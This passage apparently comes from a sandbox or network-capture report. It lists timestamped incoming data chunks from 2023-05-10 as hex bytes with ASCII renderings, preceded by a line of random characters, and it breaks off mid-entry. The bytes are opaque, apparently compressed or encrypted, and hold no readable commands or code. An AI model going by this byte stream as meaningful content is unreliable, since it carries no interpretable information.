2@^\[~l}%q)X3F!FF=zKNH##904R<y#'}s}d/`6{x%@xGcH/tyra\,@o`Y?=ID gA-0e#:~XS"&EgK_CgXaTCtHm#k8q:q9
2023-05-10 00:21:17 UTC	3920	IN	Data Raw: 0d 07 23 2c df 21 f3 79 6c 8d 9a 4a 38 c6 c0 77 1a 7e 39 64 53 0c 5b 7d cd bc 92 d9 7b cf b7 3b 87 2a 36 70 3a 6d be dc d6 94 6c 52 36 ae 0f 69 c3 ef a8 85 a8 18 c5 fa 8c c4 09 83 9b 75 8f c2 eb 0c 07 a0 54 1b 82 db 86 49 b2 6e 49 69 ac 78 63 a2 c1 e3 31 cb bc bb 5a af 13 78 ef 0e 66 20 ae f7 fd 82 14 fb 70 7c 7f 1e fe d7 9e b0 d9 48 56 2f b5 1e 44 71 a5 67 ff b1 53 31 55 ce 44 64 b5 fe f6 56 61 9b 0b e2 bd 5b 2f d7 f3 21 b0 4a 7f 6a f2 ea 7e 31 88 45 a8 a5 74 d4 b0 f8 91 f7 eb 52 22 79 de a3 ec 82 d1 7f 0c ff 9c 0d 89 60 ba 1c 6a 46 82 d8 0f 3d a2 cb d2 c7 47 ae b8 c1 70 f3 34 38 38 b7 95 8d 64 43 2e 6d 40 de da e5 d1 14 80 f5 34 13 16 ea 28 4d 57 44 44 b2 9f a4 bf d7 64 03 b9 28 e8 a0 48 d5 3d 1b 81 e6 1f 24 5a b9 3e 3e 41 bb ca 9e c9 7b 70 8f 83 5d 22 Data Ascii: #,!ylJ8w~9dS[}{;*6p:mlR6iuTInIixc1Zxf p\|HV/DqgS1UDdVa[/!Jj~1EtR"y`jF=Gp488dC.m@4(MWDDd(H=$Z>>A{p]"
2023-05-10 00:21:17 UTC	3936	IN	Data Raw: cc a6 08 96 a4 d8 11 de b4 ff c7 60 49 8e 1d da 52 90 d8 18 84 a1 d7 ae b5 bb 9d a3 ab 92 c1 ac df 49 98 55 cb 08 83 b5 b1 88 d6 1d af 8d 6a 25 16 25 da 35 b8 39 7d a0 b7 92 20 63 ba c6 5e 63 a9 74 1b 4e 5f 1e 5e 1d 25 fd 52 e2 dc aa 00 c9 50 bc e0 10 f5 b3 7d d9 4c a0 aa 0d da 3d e1 82 79 30 34 95 0e 8a 8f 77 af e5 cd b5 3f 6a 40 c3 73 1c b9 b4 3f 00 4c 05 42 2c 6b 30 4a be 28 74 1c 1d 3e df 98 2b db 25 a7 3d 1c cd 93 78 9a 47 73 e3 1b 43 02 ea fe 9c 19 77 34 e1 ca d5 41 c4 29 91 94 fd cf 90 1d db b1 be 36 c3 fa 5a 60 41 42 29 a5 c0 f6 94 34 1f 32 fa 9c d1 0a bf 08 d3 99 00 fa 62 2b 79 5b 20 09 05 d4 ae 9f 70 91 31 bd a9 7e 69 dd 7f e3 40 cc 21 12 af 4a 96 58 51 bc b9 f1 ef 7a bd e1 33 6a fd df dd b3 0d f9 dd 25 cf 1a a9 78 b8 ba 07 55 27 16 90 3c 53 fd Data Ascii: `IRIUj%%59} c^ctN_^%RP}L=y04w?j@s?LB,k0J(t>+%=xGsCw4A)6Z`AB)42b+y[ p1~i@!JXQz3j%xU'<S
2023-05-10 00:21:17 UTC	3952	IN	Data Raw: bd da ef bf 10 fb dd 15 a8 e2 94 09 28 a8 5a a8 d8 c1 39 00 b6 a8 59 15 b6 7d 8e 95 31 c3 52 a8 16 64 2d 05 3b dc 77 86 6a f5 9f 21 79 49 1d d7 99 df 3f 3c 32 63 88 42 27 6d 54 6d b0 11 f6 7d 06 74 ba ba 02 f6 a4 ad eb e2 7e cb 28 3e 16 60 c7 d9 83 7e e5 f2 30 9b 4d 6b 04 02 4b b7 e8 04 bd de c4 5b fb b0 72 4c aa ae 7a 27 04 fe 94 59 fa 59 03 29 ad 35 cd 3b a3 31 a6 66 a8 7c 5d 6a 1b 80 3f 13 1f 95 f2 60 e5 8a 32 18 fb e5 39 2f 00 87 c7 c3 dd 1f 14 28 27 1f 20 44 0a c2 01 f9 bd 7c 62 4a a6 33 d0 51 60 ec 43 9f 71 6b c0 6f c7 98 e2 1a bf a4 16 62 4f c1 42 ce a4 9a e3 89 75 b0 ef c7 80 6a 9d bf 18 9e aa fe 75 8c b7 0d 4d 0e d9 10 b8 d0 b0 6f c3 61 52 98 07 3c b5 c4 82 51 67 3e 4a 15 40 ce d2 03 9f 62 04 f8 ef 23 aa 4e 5a fb 77 9e c4 ef e0 52 cf a5 33 d9 7f Data Ascii: (Z9Y}1Rd-;wj!yI?<2cB'mTm}t~(>`~0MkK[rLz'YY)5;1f\|]j?`29/(' D\|bJ3Q`CqkobOBujuMoaR<Qg>J@b#NZwR3
2023-05-10 00:21:17 UTC	3968	IN	Data Raw: 65 b9 bd 0f ed c6 ae d0 68 47 96 cc 59 cf 23 df cc 1d 2e 2c 0a 69 07 59 ee 53 d0 0a 8b 3f 30 11 79 f1 2a ce d5 f7 12 95 67 90 24 2e 87 eb 8b 73 8b 14 5a 10 7c e3 a6 67 6e 1c fa 6a fb 58 26 40 11 52 db c4 e1 20 0c 4d 01 93 ae 7a 02 f4 4f af 18 02 fc f1 45 13 4c 11 c9 e8 cf ec 03 f3 44 27 3f 4e e6 0b 4b 7c c1 89 f5 15 a3 20 72 ca 41 b2 04 79 87 0a d0 27 44 fe 3e 68 07 d2 a0 8c 5f 57 31 12 0a 5e b0 fb b9 21 c9 20 6a af aa 2f 54 8b aa 7b 93 fc 50 be 6e 0b 3c 83 44 da e0 6c 40 89 c4 cc e3 6f 46 2a 0b 84 b7 67 f7 8a 86 2d c5 fb 0c ba 97 12 0b 2c cc aa 6a 8a bd fa 52 bc 19 1c 1b ce 44 d2 71 84 4b 6c 27 fa 46 66 38 81 a3 0f 16 d3 1c 1c e7 b3 0a cd cf 58 26 44 d6 2c d5 37 c9 0c 6b c1 c1 88 2f 7e dd fc 8f e0 ff 60 e5 df 35 d6 3e 0a 1b d5 ce ef 87 5a 9a ad ed 50 f1 Data Ascii: ehGY#.,iYS?0yg$.sZ\|gnjX&@R MzOELD'?NK\| rAy'D>h_W1^! j/T{Pn<Dl@oFg-,jRDqKl'Ff8X&D,7k/~`5>ZP
2023-05-10 00:21:17 UTC	3984	IN	Data Raw: 7b 7a 5e 7c c2 67 75 44 b7 bd 43 8f 04 b6 71 54 d8 ec 7b 74 ef 38 cb 76 38 e2 30 09 60 b1 1c 45 42 de aa 2b 19 4d 8f 56 e3 1e 71 c9 1e d3 82 f6 90 d2 fb 69 9e fe 06 2f 2b a7 11 2f 89 d9 83 b9 e9 97 43 74 a2 36 74 c5 3d 11 ef 39 02 7e 04 f1 47 53 5f 9b 6f b4 fc 96 43 1d 3c 79 18 51 05 98 40 ae 54 63 e7 47 98 7c 62 ac c7 d2 6e bf 50 59 9d 20 c9 cd eb 43 3a b1 26 6d be 1c 7b 35 38 f1 3e 50 d5 50 91 11 e7 e8 fc ce 3e 1f 5f 08 c5 e4 f8 4f 49 de 8f 54 7f 37 2c 94 76 60 eb ed 48 86 d1 16 44 85 e1 e8 d6 d8 59 eb b3 9a 86 c4 3b 4d 49 7a 24 9d fc 4e b4 90 51 bd 7e 5c cd a9 d8 7d 03 62 e0 f5 dc fa 81 65 da 9f ae 3b f3 7e 6a 5a aa 11 b2 b7 df 93 62 db 4a 02 3a 97 78 84 2c 8d 3a 8a af 89 e2 e7 da 19 aa 89 53 07 6a b8 ba 92 8b cf af a6 40 8c 30 4d 95 22 5b 3a 1f 85 21 Data Ascii: {z^\|guDCqT{t8v80`EB+MVqi/+/Ct6t=9~GS_oC<yQ@TcG\|bnPY C:&m{58>PP>_OIT7,v`HDY;MIz$NQ~\}be;~jZbJ:x,:Sj@0M"[:!
2023-05-10 00:21:17 UTC	4000	IN	Data Raw: bc 01 9c 30 14 e5 7d 37 6e 08 b2 b5 66 38 14 7e 7e 7d 50 c7 f6 fd 41 69 74 55 24 59 79 92 fd ba f2 5b ba 80 f1 d1 ee f3 de e6 69 23 82 c6 ea 75 25 7e 56 65 cb aa 87 69 17 65 df 6b 4d c2 36 7a e3 75 79 2f a2 fb d3 b7 67 32 f5 f4 fb a2 7f a2 23 a2 32 8c 9c 9e a5 b8 03 60 56 44 83 7e b8 18 26 b5 9d 9c 6a 67 39 8f 71 e0 2f d8 d0 97 76 68 be 08 6c f7 b3 ea 61 7a 12 9b 86 3d 2d dd 07 02 0b da 82 02 d7 4b c0 52 8a 89 c9 f2 6e 18 1b 50 d6 1b dd 7f f4 e5 a7 d7 4c 8e ea 51 ea 70 7d 4d 36 ac 1d a4 94 86 0b 38 3f ee 9b fb 4c ab 89 0e d7 eb 30 dc 12 69 a2 b9 2e 5b b7 e4 3e a0 e6 4b 63 4e fe 8f 36 c6 23 a4 dd 9a 6a 82 f8 52 46 0f 33 d2 1c b6 bc ae 83 19 e5 60 08 d7 38 98 1d 78 b1 f2 f0 2b e6 1e 56 c1 37 dc 92 1b ee aa 3c dc 5d b9 8b fc 6a c4 ef f4 41 7a 9e 37 46 42 ec Data Ascii: 0}7nf8~~}PAitU$Yy[i#u%~VeiekM6zuy/g2#2`VD~&jg9q/vhlaz=-KRnPLQp}M68?L0i.[>KcN6#jRF3`8x+V7<]jAz7FB
2023-05-10 00:21:17 UTC	4016	IN	Data Raw: a8 dd b7 ec e7 f7 9b d0 d6 43 5b b6 79 96 16 d8 b7 3d 93 f3 70 b2 16 70 1e 69 ef 4f f4 c9 2f 1a 41 59 cc 58 46 65 8b 0d 45 98 19 7c 6a 62 68 72 08 c4 a8 9a cf f9 d0 eb ea 27 fa eb 8b 68 2e d3 80 b7 fa cb 4b 3a 77 b7 2a f8 43 1d 4f 86 fa a8 09 2d 33 06 78 6b c4 1b 84 a0 1f 4d 74 f6 4a 11 97 31 b8 fe 2d f0 54 de 0b 3d 4e d7 76 de 2c 65 40 0f 48 f1 c8 ee 8f b7 2e b6 26 f8 85 04 71 8d 6a 3a d5 0d 68 a1 d6 00 bd b1 c0 7f f3 c0 d2 6b 69 90 43 e3 17 b1 72 d0 f3 cc 02 2d bf f4 02 0e 22 8a e5 dc 87 43 a5 77 6a bf d6 81 48 3f 97 57 ca 2f ed d8 81 3e fa b4 15 a3 4c b2 46 5c 2c ad cc 35 56 f9 b5 cc 9d 72 24 31 0a 19 e3 95 69 9b f7 ae 14 9d 26 3b 27 1b 20 07 3a 50 36 08 5c 44 a3 b0 6a 38 8f ec 12 70 11 22 e9 81 56 85 e0 f5 53 ac 57 1a ce 00 42 0a 7c d4 5d 94 ee 24 79 Data Ascii: C[y=ppiO/AYXFeE\|jbhr'h.K:w*CO-3xkMtJ1-T=Nv,e@H.&qj:hkiCr-"CwjH?W/>LF\,5Vr$1i&;' :P6\Dj8p"VSWB\|]$y
2023-05-10 00:21:17 UTC	4032	IN	Data Raw: a8 e8 6c 2f 88 2b d7 20 ab 6e 1a 3c 5c 47 c4 54 89 48 ce 3c 23 56 77 0a 46 ac c3 5e 39 18 2e 1f 14 45 10 b8 ee 84 63 5a c3 a3 df 44 4a 90 8d d9 90 47 e4 ae fa b6 4e 6c e3 40 08 74 0d 94 86 28 a2 62 e3 ad f2 53 c6 c2 cb 00 6e 7c 26 1f 6c 9b 25 bf a0 32 5f b9 1c a3 e8 7c ad d0 2a 53 90 56 de 11 7b e0 df 24 7d c1 4f 4c c6 30 09 eb 2c 49 bc a2 31 ce d1 59 cb 1f cb 40 91 46 dc 88 bf 33 eb c4 75 49 2d 53 40 3d a5 a6 86 45 30 cf 0a aa 79 69 ea a9 a8 ef ab 51 09 f0 96 4b 20 99 9e 01 e1 82 aa 7a 79 0a bd 00 92 4a be ed 3a d3 89 4a cd cb ea ae f4 9b 6c 0e 1d 66 ca 33 fd 68 62 06 c5 e7 2d 6f e4 18 de 2e 1e 69 61 f1 c6 22 97 f1 30 05 85 fc 82 d0 e5 b0 1a e3 b2 7d e7 6b bc 34 49 9c b6 99 92 41 0b 25 8b 0d 46 27 82 6c e8 9a 20 04 1c 15 c1 8e cd 94 6b 95 66 d8 6f d3 af Data Ascii: l/+ n<\GTH<#VwF^9.EcZDJGNl@t(bSn\|&l%2_\|*SV{$}OL0,I1Y@F3uI-S@=E0yiQK zyJ:Jlf3hb-o.ia"0}k4IA%F'l kfo
2023-05-10 00:21:17 UTC	4048	IN	Data Raw: cc 25 24 48 23 92 b1 a0 53 2d 4a c8 3d 79 9b b0 d6 f4 67 a6 26 fd 6a 9e f4 e2 0b b5 c3 08 2e 5f c4 de 6b 5c 79 df 60 33 e4 03 58 18 a9 a1 33 37 ae ad 6a 98 2a 03 25 23 33 8b 2b 28 12 10 50 95 a0 6b 3f 56 e1 47 b8 e3 92 2b fd 1e 99 ff 35 a4 60 81 ce ec 4f 44 69 80 a4 20 cb fc a7 ac 6b 8a be 9a e8 b2 a3 3a 0f ff 19 91 4e 1f 85 c6 85 85 14 b7 19 92 5b 88 40 b6 6c 84 76 6a 11 cf 56 e6 78 8f fc c6 7e 5c 78 16 59 f9 b4 e4 39 a9 30 6f c5 0a bd 0c 03 56 05 a8 de 40 0c 24 4b 9a c6 aa 17 d9 62 05 06 fd 92 d8 bf 79 f0 9c 59 b3 2a 96 51 5a 43 19 b6 45 3b e3 8e 54 8a 91 f1 40 2f f8 fa 8d 54 5f 4a e4 18 e9 69 99 9f a0 64 9c 5d 10 0b f6 80 ed e8 3d 0b 55 46 df 1d 61 ec ed bb 98 08 62 96 81 a2 c6 0a 17 53 d1 4a 17 5a e1 18 fc 00 ba 33 43 06 2e 0b 6c 7e 49 53 69 0c 37 a2 Data Ascii: %$H#S-J=yg&j._k\y`3X37j%#3+(Pk?VG+5`ODi k:N[@lvjVx~\xY90oV@$KbyYQZCE;T@/T_Jid]=UFabSJZ3C.l~ISi7
2023-05-10 00:21:17 UTC	4064	IN	Data Raw: ea c2 0d 88 29 87 33 5f 74 92 2d f9 3d f2 29 68 dd 7d 5b 4e e6 d5 a2 51 4f 02 7b f3 93 e8 d5 a0 43 2e a1 9e 96 01 db 43 6e 63 86 b5 1f 91 2f 6e 8c 87 30 49 0c d5 0a b6 87 99 e2 8b 33 c2 0e b1 f6 e0 f6 2c 28 0a 01 a4 a5 b2 df 0d 73 44 89 42 70 52 73 02 76 40 f1 cd e8 3b 93 3d 6f 5c 7e fb aa c0 b4 e9 1f b2 68 24 8a dc c9 05 f7 16 54 63 0b d3 0a 79 77 ba 1e 58 a2 20 1a b4 70 c4 5c ed 53 0c a8 76 dd 21 b7 29 0d b8 fb 35 58 77 20 85 2c 78 3a 4d 4f 98 e9 70 10 6a 99 d5 3c 5a 12 b7 e3 92 c7 76 eb e9 2f 57 36 d4 e8 fd f5 b0 b9 76 bd 52 04 cd 2b b7 67 fe e2 02 72 06 b7 43 4b d0 ab 15 2c bb 2b d2 fc f7 e0 37 b2 1b 85 ef eb ad c3 a6 5b 8b 7a ca 24 fc a0 fa 45 ec 9e 4e 68 f5 6d 80 4b a5 db cb 6a c4 98 52 c0 cf 27 be bc aa 50 fb 9d 65 6f d1 9f d6 aa 6e 5d 79 94 53 58 Data Ascii: )3_t-=)h}[NQO{C.Cnc/n0I3,(sDBpRsv@;=o\~h$TcywX p\Sv!)5Xw ,x:MOpj<Zv/W6vR+grCK,+7[z$ENhmKjR'Peon]ySX
2023-05-10 00:21:17 UTC	4080	IN	Data Raw: 9c df bd 00 12 84 81 78 b3 1c e1 0c 7f d1 ad 79 16 e3 3d ab 4d ba 11 16 39 da 79 2f 3a 19 e9 7a a3 e1 d5 19 5b bd c3 b8 27 50 33 61 3b 7a 9b 0e 2a 93 72 ab f8 85 a7 c1 0b 9f 9b 43 ce 8b 88 50 34 b7 3c 3a 01 a4 2c 70 97 23 6d 4a 69 8c 40 e3 9e 44 56 59 31 ff 04 6f 9f df 7b 6a d7 ea e7 40 01 02 86 ff b6 5f 2b a8 3c ce 20 d2 be 17 97 1e e6 26 e1 d8 06 0e f4 4f f0 b2 72 14 b8 00 5b 52 1a 37 1f 93 2d 6c c0 c1 44 28 5f 0d 66 2b 11 3e 17 bf b8 46 37 b0 87 19 15 81 0c d1 85 4f a5 3f 55 d2 60 f1 b8 d9 08 b9 d8 d0 e3 ec f2 88 6e 01 c6 0e 35 24 3a 58 62 53 01 ec f2 64 5b d7 81 c9 bb c1 d7 8f a4 0c 46 f7 ae 89 56 96 72 23 07 3a d0 c4 3d b4 70 97 61 7e 13 98 48 b9 24 ca 38 97 60 89 da 45 4a 55 82 8c ed d8 15 7f 14 51 d0 e6 b6 cc e4 5b 95 f7 bb a2 52 18 34 44 4e 30 a4 Data Ascii: xy=M9y/:z['P3a;z*rCP4<:,p#mJi@DVY1o{j@_+< &Or[R7-lD(_f+>F7O?U`n5$:XbSd[FVr#:=pa~H$8`EJUQ[R4DN0
2023-05-10 00:21:17 UTC	4096	IN	Data Raw: a5 75 3c f3 92 32 da 07 c3 51 ec 68 dc e4 de 11 4a f5 a5 14 b7 a3 09 87 c7 7b 5a 14 06 00 2e 9e 63 ef d0 9a 28 d2 35 ed bc 28 0a 8e 19 90 30 18 7a 79 e6 f7 58 39 d9 4c 92 e0 3c 6e 69 45 77 d0 aa f3 ec e3 a4 8e 01 e6 dc bc 34 84 f2 d6 cc d7 b7 a6 2b 42 68 d0 b3 b6 ef 30 d7 48 c9 0b 4f 2d 49 93 38 b6 1a af 9b ba 12 a3 26 a7 ff b8 04 e7 38 e7 65 8a 9b f7 95 2a 01 06 b7 76 dd 1a fc 63 32 da 8a 7e 79 e7 3e b4 ed 60 13 b3 78 97 28 d0 18 f9 18 e5 e0 43 ab 99 19 bf 6b 7f 5d 77 d6 1b 64 bf cc 63 86 a0 03 fd 69 07 b7 a3 68 17 bc 73 d8 ac 83 dc 52 06 f4 13 a4 f5 d5 d7 04 09 af c0 c5 2d 1e f4 81 2e 2e 24 40 b9 ab 0f 40 b3 73 2d 98 37 a6 4b 8d 97 93 5e 74 48 8f 70 f1 c7 ee 66 b3 f3 1b 6b 5e d3 9a 01 e9 58 79 6b c9 46 fb a7 59 e8 18 15 f2 4c 3c 37 a9 f3 16 e5 c2 8e 54 Data Ascii: u<2QhJ{Z.c(5(0zyX9L<niEw4+Bh0HO-I8&8e*vc2~y>`x(Ck]wdcihsR-..$@@s-7K^tHpfk^XykFYL<7T
2023-05-10 00:21:17 UTC	4112	IN	Data Raw: 88 9b e9 44 06 84 9f 2c 27 f2 10 e4 99 6e 79 cc f4 46 75 de f6 56 ba 7a 44 f9 e6 be 0f 58 f1 7d 28 db ea ff 85 84 22 fc 61 b2 83 d2 a9 7d e7 f5 c4 c4 fb a0 13 47 15 94 d8 4f 02 62 b5 77 25 ee 7d 09 32 ce 09 10 de dd c1 a2 3a 17 11 ec 63 96 46 79 3f d4 b1 23 c6 23 c4 67 6f b8 3a eb 8a 11 26 19 eb b4 e7 55 7a c8 63 51 6d bd 1d b0 4f ff 17 e7 b6 52 23 6a 23 8f 94 03 5f 3e b7 11 cf 4d 49 a5 94 e3 0c bb 15 3f 93 db 56 44 16 f5 42 ee cc 5f 15 9e 71 25 4a 8d b2 8d b8 85 6f 79 48 b5 94 13 83 e9 0f ca a4 f0 a7 4f 61 73 2a 9e c2 fa ea 14 03 b7 2d 4d f4 ed ec d0 54 5c 87 d9 86 eb ab ad fe c1 ba d0 36 8a d6 b6 f6 08 eb 8c 2e 83 71 f7 69 e8 1b 59 e2 4a d7 dd ff 2f 92 43 bb a4 2b b8 11 ff d2 91 78 17 c8 68 24 95 d9 86 6e fc ef 43 a5 f2 98 40 ce f5 42 2b b1 12 d7 1f 0a Data Ascii: D,'nyFuVzDX}("a}GObw%}2:cFy?##go:&UzcQmOR#j#_>MI?VDB_q%JoyHOas*-MT\6.qiYJ/C+xh$nC@B+
2023-05-10 00:21:17 UTC	4128	IN	Data Raw: 82 e9 df af fb 9b 99 ef ec 51 f9 a6 33 68 de d7 0c 1d f7 48 6d 4d c9 d5 1a 74 72 74 da f3 47 0f 91 6a a1 6e 0a 2a 6a af 1d 69 a9 4d 4b 52 9d f2 c5 bd e2 fd d3 8e e1 cb 59 92 02 77 b4 1d f7 c7 a4 a1 76 d7 45 d6 cb e9 01 a0 93 ea e2 7d 40 07 79 06 51 36 90 8b 83 6e 8b 75 e2 21 3d 70 6f 32 e1 9b a1 b8 f8 a3 2a 3e 5d 9a 67 55 9b 59 40 43 a9 4d 7c 52 70 dd e3 36 5b 3d bc d9 d6 0f ae c7 b7 7f 2a c3 06 14 c0 c6 4c cc 96 8b 4b 81 47 de eb e9 43 b4 74 47 89 8a 84 47 97 bc 88 19 94 e5 6d 7a 01 27 bd df 0e d4 78 e1 13 ef 62 63 7f d5 14 18 56 8e e9 bd 32 14 96 5d 08 9d 80 d1 40 10 94 18 54 f8 3a a4 04 a6 5c c5 85 41 64 5d d3 f3 09 c3 fa 90 34 5e 46 3f e9 da 9d f4 40 17 5c 0d 5a cb 17 65 61 e1 7e 92 e2 1d 51 4d 0c 21 54 5f f1 ca 53 34 af ed a6 bd fc c7 a9 20 c0 40 77 Data Ascii: Q3hHmMtrtGjnjiMKRYwvE}@yQ6nu!=po2>]gUY@CM\|Rp6[=*LKGCtGGmz'xbcV2]@T:\Ad]4^F?@\Zea~QM!T_S4 @w
2023-05-10 00:21:17 UTC	4144	IN	Data Raw: c6 99 62 20 07 d7 98 cb 55 82 28 56 c5 34 ec fb 45 fb a4 9e aa 93 72 d1 63 66 b8 cd 68 1d 82 95 7c 3e 3f e8 66 1b d2 42 d2 d6 c8 b1 59 33 3a 35 c5 73 92 10 65 04 dc 2a 4f 00 34 7a 04 47 44 08 8a 07 fd 7f 98 70 d6 06 44 7a e7 28 84 71 67 86 9f 7d c4 85 7e 48 9c 6f b4 36 61 ee 2d d6 e5 2c 90 41 df 83 fd b2 45 ec 46 a9 8e 5b 03 bc a8 64 a8 67 0b 04 02 5f 9d 0f 5f a3 4b 97 67 d4 61 76 22 2a ef 91 4d e1 7d 4d da 28 36 d1 c6 12 83 80 de 3d 20 51 86 1a da 94 83 b2 7c a8 d8 f5 4f e9 bc 6b 30 61 36 28 43 4a 59 32 3a b2 6c 5b d9 8b f4 b5 e8 7f c5 b5 d9 f0 77 38 6a f2 23 7f e8 83 c4 56 7b 5b 0e 82 0f 9b 04 3b eb 9a 2d a5 a2 93 fc f2 0c e8 bd 7c 4a f5 e5 52 0b 27 27 8c 8d 5c 05 78 8b d3 51 16 88 ff 87 b9 20 3d 90 1e c7 50 74 2d 08 26 8b 4d 8b 99 4e 8e e2 a5 e9 33 26 Data Ascii: b U(V4Ercfh\|>?fBY3:5seO4zGDpDz(qg}~Ho6a-,AEF[dg__Kgav"M}M(6= Q\|Ok0a6(CJY2:l[w8j#V{[;-\|JR''\xQ =Pt-&MN3&
2023-05-10 00:21:17 UTC	4160	IN	Data Raw: 8f c4 00 32 27 2e 90 55 91 94 2a 3b 88 f2 96 68 9e 5d 74 6a 27 29 87 98 a8 a3 76 85 4d 83 56 0a 29 2d 13 36 e7 1b 05 be e2 99 c1 33 dd 09 c1 5b e5 b3 14 63 56 63 93 1b 78 7b 86 81 e4 99 d0 a7 b5 01 70 a9 62 ab b5 92 29 03 69 55 81 64 04 26 00 8c e8 f0 45 4d ba 29 57 68 6d 57 df 20 06 23 07 ce 61 da 03 78 bc 33 c4 c1 f9 39 98 12 2f 5b a6 36 d6 ac 04 6b b2 8e 34 90 6a 68 35 ac 78 d1 f7 ea 08 8e 1e 0c 4c e0 d3 d2 44 7b 33 fd e6 ee 47 7e 85 35 1d 8a d3 33 22 d0 01 2c 6e b8 84 f6 29 34 48 8f 96 3d 5c 67 f3 11 a4 c0 0b c7 89 f0 b1 c3 fa e3 f5 9e ca 07 b5 12 80 c0 93 dd 83 0e d6 d5 55 5b f0 fb 1f c3 23 88 35 dc ea ac 28 53 4e 42 e7 ad 0b a0 8d e3 b6 74 a2 d1 52 65 ef dc 23 30 ef 81 25 f7 9b 5c de 56 1a fd 7b 61 c4 6a 0e c4 0b 6a ef a7 58 56 c0 35 50 57 e4 a8 30 Data Ascii: 2'.U*;h]tj')vMV)-63[cVcx{pb)iUd&EM)WhmW #ax39/[6k4jh5xLD{3G~53",n)4H=\gU[#5(SNBtRe#0%\V{ajjXV5PW0
2023-05-10 00:21:17 UTC	4176	IN	Data Raw: cb e3 31 c3 49 1e 92 63 25 04 07 4a 21 b9 9c a4 68 d2 38 79 2c 93 8b 6f ae 23 f6 33 66 93 d5 85 a9 88 c8 7d ab 1f 00 69 02 0f 82 4a 47 a6 b2 9d 90 e9 a2 bf 91 dc 85 39 19 23 d1 ca 8c 40 26 e2 f4 8b 3a 9d ce 73 ef 7d 0c ae c8 87 9d 42 96 23 d4 a5 4f b0 7a 8e da b8 a9 8d cf 87 ae 84 09 de 17 df 0e bf f9 21 54 1a d3 0c 44 a3 2a 3d bb 54 7d 26 b3 b5 ac b9 65 3f 8e 9c 80 0f 59 bd 39 a0 aa 6c ee 40 14 12 1a c9 e3 08 54 64 e4 38 6b 3b 2c 64 9c 46 f3 1c 31 60 54 af 77 9c 39 91 43 dd 2f 7c d5 de 20 eb 52 f7 7b 6d 5b fe 2c ea 97 2e 5f cc 2b 19 82 99 9c 49 f8 65 09 20 68 58 f6 93 0a d9 a0 4e 4d 13 4a e9 f8 3f b2 64 d0 23 6c 17 5a 8d ac e6 5c 8a 65 11 39 4c 4f a6 8f 09 28 5b 43 26 92 b0 4c 1c ff 1f c6 2b ee 35 f8 6b 25 3b cb 29 e8 ae d1 dd 98 de 53 fc 20 bf aa 3c fd Data Ascii: 1Ic%J!h8y,o#3f}iJG9#@&:s}B#Oz!TD*=T}&e?Y9l@Td8k;,dF1`Tw9C/\| R{m[,._+Ie hXNMJ?d#lZ\e9LO([C&L+5k%;)S <
2023-05-10 00:21:17 UTC	4192	IN	Data Raw: 67 55 99 58 55 40 0d 75 69 67 fc 03 f2 9a ab bc 62 91 0f 6b 16 f3 f8 96 74 f1 67 5b d6 de 6a a5 8a b1 f9 83 69 50 95 5d eb 0f b3 0b 2b d0 b4 5e 4e 62 29 59 30 a7 9a 07 95 ed 12 c4 52 0d 6e 1e 15 4e 4f 91 26 0c 77 6d a1 39 f9 09 2f 43 3d 5c 73 da 1f cb af 61 02 ec 7e be 38 46 f0 bd 7f e5 d0 69 ce b3 5b a0 e8 0d 83 d3 52 38 e8 42 06 5d a3 1a 0a 49 14 41 26 40 0f 49 99 e9 af 7e f9 e4 aa 52 c9 fb 0d ea a6 db 22 70 ee 54 c0 32 33 c5 7f 4f e3 14 43 7f 1f 46 04 3a 0b 05 f7 90 87 bf 1e a2 de 39 14 5b 2c c0 a2 90 75 94 04 6e da b5 80 2f 40 13 ba f6 21 c8 cb 43 09 ce 88 d8 9f 1e 41 82 c0 1a 3d 17 b7 8c 62 f7 8e e9 9b 1c 4a e5 36 78 0f 73 e6 f9 b0 a3 ab f7 c5 60 fc 75 98 4b e9 1f 47 2b f9 2b 4b e6 45 81 ff fb 38 83 55 6d 4e 12 b7 4f 74 6b 1e 29 ef 86 32 b3 ce fe 48 Data Ascii: gUXU@uigbktg[jiP]+^Nb)Y0RnNO&wm9/C=\sa~8Fi[R8B]IA&@I~R"pT23OCF:9[,un/@!CA=bJ6xs`uKG++KE8UmNOtk)2H
2023-05-10 00:21:17 UTC	4208	IN	Data Raw: ff a5 ae 63 ca a5 d4 7d 5b ba f5 a9 ef f1 8b e7 18 f0 ab 9f 08 76 2e 44 cd 37 cd 7a c7 f1 2a ea 72 30 2f 1e fa 37 2e 4b 21 91 0f c0 52 e5 e7 8c 2f ba 67 25 81 d1 18 24 cd 34 b2 bb 88 98 1e f9 ea d1 da 16 f1 12 3e 31 0c 03 d6 d8 f8 46 17 ef 21 7f ad 67 83 68 fe 5f 11 07 65 39 f2 69 92 d4 a1 5e 8e 07 c6 8d 6a 38 cb 1b 5c 80 35 37 55 7f 00 a1 8b 27 23 37 64 66 0d 21 c3 0a dc ad 41 1b f5 de 3f b3 c6 51 52 e4 ea 05 28 69 3a 37 de c7 f5 87 b8 6f 0a 4c 6a 0f 8e 5e 2d 76 57 ab 33 28 91 f2 f6 65 ab 75 ad dd 77 d9 24 89 3c bc c3 3c 96 75 1d 88 5f 6b c9 32 c9 2e 6b ad ff 5c a2 7d cd f3 fb 2a 36 3b c9 bc 3f ea f7 0b 32 34 1a 0e 61 14 3c 79 58 2b c2 68 8f f9 98 0b fb 7c 49 f6 5d ab 2c 00 97 64 2e 62 b5 97 a8 c0 f5 2d 12 1e 3d 8b c7 53 57 5f 6b 29 d3 36 4d 14 7c 0f ed Data Ascii: c}[v.D7zr0/7.K!R/g%$4>1F!gh_e9i^j8\57U'#7df!A?QR(i:7oLj^-vW3(euw$<<u_k2.k\}6;?24a<yX+h\|I],d.b-=SW_k)6M\|
2023-05-10 00:21:17 UTC	4224	IN	Data Raw: 5b 28 75 28 c3 a4 42 bc 2f 9e 5d 2a 2f eb a7 eb d6 a8 27 ad d4 d5 ba eb 63 ef 5e 55 4c 60 53 ae 0e 19 8b c3 0e 0c e4 18 49 0b f8 ad 62 b2 ad 80 4c a3 7c 51 f6 f1 4c 48 31 f1 1d af d2 00 0b 09 3b 42 3b ae 82 ae ec 52 1b 38 e4 70 a5 ef 8d 56 4d 39 e4 fc e1 b9 c4 13 f4 a2 68 74 51 c9 3c 5b 61 71 75 5d fa f4 7e 27 b3 0e 3c 08 4f 44 75 05 6e 4a 8b c3 c6 37 eb e0 d5 1c 94 a9 8e 8c 27 d9 ab a3 fe 97 20 0b 95 99 e6 8c b9 2a e6 66 96 de dc 8b 3a 6a 44 2f fd d8 6e 13 9e 02 84 27 cd 64 42 2d aa a8 c7 f2 78 eb 0a 57 11 bf e5 db a5 48 63 22 56 68 cd ed e0 c1 a6 62 ae 72 15 32 c4 7b 86 47 c2 db 